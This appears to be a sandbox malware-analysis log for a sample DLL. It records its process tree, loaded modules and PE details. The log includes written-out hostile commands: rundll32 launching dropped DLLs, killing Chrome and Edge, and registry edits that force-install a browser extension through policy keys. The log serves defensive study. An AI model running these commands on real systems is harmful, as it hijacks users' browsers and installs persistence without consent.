Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\Public\wss_tmp\cr_ws_2.dll" main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main JkoI28tA7 s54VVA9PL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\Public\wss_tmp\cr_ws_2.dll" main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\Public\fbe\fbegbhf.dll" main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main 5l2dLaWBz 8H16fjAVL
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\anuwhqTXGt.dll,get	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",get	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Edge\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2.E /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\taskkill.exe TaskKill /IM chrome.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main JkoI28tA7 s54VVA9PL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main 5l2dLaWBz 8H16fjAVL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usosvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: updatepolicy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usocoreps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usoapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: anuwhqTXGt.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: anuwhqTXGt.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: anuwhqTXGt.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: anuwhqTXGt.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: anuwhqTXGt.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: anuwhqTXGt.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: anuwhqTXGt.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: anuwhqTXGt.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: d:\Projects\Visual Studio\NSIS Plugins\IpConfig\Output\Unicode\Plugins\IpConfig.pdb source: IpConfig.dll.15.dr, IpConfig.dll.6.dr, IpConfig.dll.7.dr
Source:	Binary string: d:\Projects\Visual Studio\NSIS Plugins\IpConfig\Output\Unicode\Plugins\IpConfig.pdb$ source: IpConfig.dll.15.dr, IpConfig.dll.6.dr, IpConfig.dll.7.dr
Source:	Binary string: t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb source: MoreInfo.dll.7.dr, MoreInfo.dll.15.dr, MoreInfo.dll.6.dr

Source: anuwhqTXGt.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: anuwhqTXGt.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: anuwhqTXGt.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: anuwhqTXGt.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: anuwhqTXGt.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\rundll32.exe

Code function: 33_2_0000021BD9431090 VirtualAlloc,VirtualProtect,LoadLibraryA,GetProcAddress,

33_2_0000021BD9431090

Source: fbegbhf.dll.7.dr

Static PE information: section name: _RDATA

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A4F90 push 00000004h; ret	6_2_046A4FFC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A500D push 00000004h; iretd	6_2_046A5014
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B48F3 push ecx; ret	6_2_046B4906
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046D28AD push esi; ret	6_2_046D28B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_6D4C0C04 push E800003Ah; ret	6_2_6D4C0C09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F48F3 push ecx; ret	7_2_045F4906
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_046128AD push esi; ret	7_2_046128B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_034648F3 push ecx; ret	15_2_03464906
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_034828AD push esi; ret	15_2_034828B6
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD944DD7D push rcx; retf 003Fh	33_2_0000021BD944DD7E
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D886DD7D push rcx; retf 003Fh	34_2_00000166D886DD7E
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C67001ED push rcx; retf 003Fh	39_2_000001C9C67001EE

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
